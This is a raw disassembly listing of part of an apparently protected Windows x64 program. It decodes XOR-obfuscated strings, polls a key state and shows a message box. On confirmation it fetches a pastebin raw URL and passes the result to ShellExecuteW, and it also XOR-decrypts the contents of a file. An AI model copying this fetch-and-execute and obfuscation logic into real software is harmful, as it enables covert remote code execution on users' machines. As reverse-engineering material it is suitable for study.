mov qword [rbp + 0xb0], r14
mov qword [rsp + 0x60], r14
mov qword [rbp + 0xb8], r15
mov qword [rsp + 0x68], r15
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x80]
call fcn.14004a760
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp - 0x50]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0xa0]
mov rcx, rbx
call fcn.1400526e0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0x10
cmovae rcx, qword [rbp + 0xe0]
mov r8, qword [rbp + 0xf0]
cmp r8, 3
jne 0x140050e7e
lea rdx, [0x1401774e8]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140050e7e
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rdi, 0x4e4b3c6d9105ae13
mov qword [rbp - 0x60], rdi
movabs rsi, 0x96efe61ffa3fb2dc
mov qword [rbp - 0x58], rsi
movabs r14, 0x5e4ba3119035b839
mov qword [rbp - 0x50], r14
movabs rax, 0x918cc6f565290bae
mov qword [rbp - 0x48], rax
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x80]
call fcn.14004a760
movabs rax, 0x7c0d1c1ee260dc43
mov qword [rbp], rax
mov qword [rbp + 0x40], rax
mov qword [rbp + 8], r13
mov qword [rbp + 0x48], r13
movabs rax, 0x5e4ba368f257d755
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x50], rax
movabs r13, 0x918cc6f565290bae
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x58], r13
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xa0]
call fcn.14004a760
mov qword [rsp + 0x50], rdi
mov qword [rbp + 0x40], rdi
mov qword [rsp + 0x58], rsi
mov qword [rbp + 0x48], rsi
mov qword [rsp + 0x60], r14
mov qword [rbp + 0x50], r14
mov qword [rsp + 0x68], r13
mov qword [rbp + 0x58], r13
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xa0]
call fcn.14004a760
movdqa xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rbp]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0x10]
xorps xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm1
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.1400526e0
mov ecx, WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x140050e6e
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140050e53
call fcn.14005c3f0
call qword [sym.imp.SecureEngineSDK64.dll_Ordinal_519]
jmp 0x1400508db
movabs rbx, 0x7c0d1c1ee260dc43
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], r13
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.14004a760
mov qword [rbp - 0x20], rbx
mov qword [rsp + 0x40], rbx
mov qword [rbp - 0x18], r13
mov qword [rsp + 0x48], r13
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.14004a760
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x48], r13
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.14004a760
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rsp + 0x30], xmm0
movabs rbx, 0xc783c69870efc02
mov qword [rsp + 0x50], rbx
movabs rdi, 0x96f9e74bbf25ba98
mov qword [rsp + 0x58], rdi
movabs rsi, 0x3229c2049b36a134
mov qword [rsp + 0x60], rsi
movabs r14, 0xfef5e69a21092acb
mov qword [rsp + 0x68], r14
movabs r12, 0xfe98675c6279fc22
mov qword [rsp + 0x70], r12
movabs r13, 0xc6806118efa960df
mov qword [rsp + 0x78], r13
movabs rax, 0x1efd8de89f4aa768
mov qword [rbp - 0x80], rax
movabs rax, 0x894ff29946446055
mov qword [rbp - 0x78], rax
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x80]
call fcn.14004a760
movabs rax, 0x7c0d1c1ee260dc43
mov qword [rsp + 0x50], rax
mov qword [rbp - 0x60], rax
movabs rax, 0xb68a8e6bda51dbfc
mov qword [rsp + 0x58], rax
mov qword [rbp - 0x58], rax
movabs rax, 0x5e4ba368f257d755
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x50], rax
movabs rax, 0x918cc6f565290bae
mov qword [rsp + 0x68], rax
mov qword [rbp - 0x48], rax
movabs rax, 0x8ab81332030edc57
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x40], rax
movabs rax, 0xa9ec0f6f80cd40b0
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x38], rax
movabs rax, 0x7193ad9cf66ac309
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x30], rax
movabs rax, 0x894ff29946445f22
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x28], rax
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x80]
call fcn.14004a760
mov qword [rbp + 0xa0], rbx
mov qword [rbp - 0x60], rbx
mov qword [rbp + 0xa8], rdi
mov qword [rbp - 0x58], rdi
mov qword [rbp + 0xb0], rsi
mov qword [rbp - 0x50], rsi
mov qword [rbp + 0xb8], r14
mov qword [rbp - 0x48], r14
mov qword [rbp + 0xc0], r12
mov qword [rbp - 0x40], r12
mov qword [rbp + 0xc8], r13
mov qword [rbp - 0x38], r13
movabs rax, 0x1efd8de89f4aa768
mov qword [rbp + 0xd0], rax
mov qword [rbp - 0x30], rax
movabs rax, 0x894ff29946446055
mov qword [rbp + 0xd8], rax
mov qword [rbp - 0x28], rax
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x80]
call fcn.14004a760
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rsp + 0x60]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xb0], xmm1
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0xc0], xmm0
movdqa xmm1, xmmword [rbp - 0x80]
xorps xmm1, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0xd0], xmm1
mov r9d, 4
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0xa0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ebx, eax
call qword [str.PE_a_]
mov rdi, rax
cmp ebx, 6
jne 0x14005177c
test rax, rax
je 0x1400508d8
lea r8, str.https:__pastebin.com_raw_K9nA0YJL
mov edx, 0x2712
mov rcx, rax
call qword [fcn.1400662d0]
lea r8, [0x14004f8f0]
mov edx, 0x4e2b
mov rcx, rdi
call qword [fcn.1400662d0]
lea r8, [rbp + 0x100]
mov edx, 0x2711
mov rcx, rdi
call qword [fcn.1400662d0]
mov rcx, rdi
call qword [fcn.1400745c0]
mov rcx, rdi
call qword [str._E_a_]
mov esi, dword [rbp + 0x110]
lea r8, [rbp + 0x100]
cmp qword [rbp + 0x118], 0x10
cmovae r8, qword [rbp + 0x100]
xor r12d, r12d
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rsi + 1]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, r15
mov rcx, rax
call fcn.140139910
mov rdi, rax
lea r8, [rbp + 0x100]
cmp qword [rbp + 0x118], 0x10
cmovae r8, qword [rbp + 0x100]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 1]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, rdi
call fcn.14013986c
jmp 0x1400508db
mov rax, qword [rbp + 0x3d0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x3d0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x3d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, rax
call fcn.14004b460
mov rbx, rax
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x3d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
mov rcx, rbx
call fcn.140139910
mov r14, rax
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x3d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rdx, [rbx - 0x10]
add rdx, r14
mov r8d, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x130]
call fcn.14004b170
nop
mov esi, r12d
cmp qword [rbp + 0x140], 0
jbe 0x140051324
mov rdi, r12
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x130]
call fcn.14004b080
movzx ebx, byte [rax]
xor bl, 0xde
mov rdx, rdi
lea rcx, [rbp + 0x130]
call fcn.14004b080
mov byte [rax], bl
inc esi
movsxd rdi, esi
cmp rdi, qword [rbp + 0x140]
jb 0x1400512f0
mov rcx, r14
call fcn.14013986c
lea rcx, [rbp + 0x130]
call fcn.14004b060
mov rbx, rax
call fcn.140047a80
inc r15
cmp byte [rbx + r15], 0
jne 0x140051340
mov r8, r15
mov rdx, rbx
lea rcx, [rax + 0x30]
call fcn.14003dee0
cmp byte [0x140194710], 0
jne 0x140051376
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x140194710], 0
je 0x140051362
mov ecx, 0xdac
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x1400513c6
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400513c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400513c1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013986c
mov qword [rbp + 0x140], r12
mov qword [rbp + 0x148], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x130], 0
mov rax, qword [rbp + 0x3d0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x3d0], r13
mov rax, qword [rbp + 0x3d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x3cc], edx
lea rcx, [rbp + 0x3e0]
call fcn.1400493f0
lea rcx, [rbp + 0x3e8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x480]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x168]
cmp rdx, 0x10
jb 0x140051475
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051470
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140051470
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013986c
mov qword [rbp + 0x160], r12
mov qword [rbp + 0x168], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x150], 0
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x1400514d2
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400514cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400514cd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013986c
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x100], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x14005152f
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005152a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005152a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013986c
mov qword [rbp + 0xf0], r12
mov qword [rbp + reloc.WS2_32.dll_ntohs8], 0xf
mov byte [rbp + 0xe0], 0
mov rax, qword [rbp + 0x4e0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x4e0], rax
mov rax, qword [rbp + 0x4e0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x4dc], edx
lea rcx, [rbp + 0x4f8]
call fcn.14004a590
lea rcx, [rbp + 0x500]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x578]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x5e0]
call fcn.140051b20
nop
mov rdx, qword [rbp + 0x188]
cmp rdx, 0x10
jb 0x1400515f2
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400515ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400515ed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013986c
mov qword [rbp + 0x180], r12
mov qword [rbp + 0x188], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x170], 0
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0x10
jb 0x14005164f
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005164a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005164a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013986c
mov qword [rbp + 0x1a0], r12
mov qword [rbp + 0x1a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x190], 0
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0x10
jb 0x1400516ac
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400516a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400516a7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013986c
mov qword [rbp + 0x1c0], r12
mov qword [rbp + 0x1c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1b0], 0
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x140051709
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051704
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140051704
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013986c
mov qword [rbp + 0x1e0], r12
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp + 0x288]
cmp rdx, 0x10
jb 0x140051766
inc rdx
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051761
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140051761
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013986c
xor eax, eax
add rsp, 0xb78
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], esi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], esi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], esi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3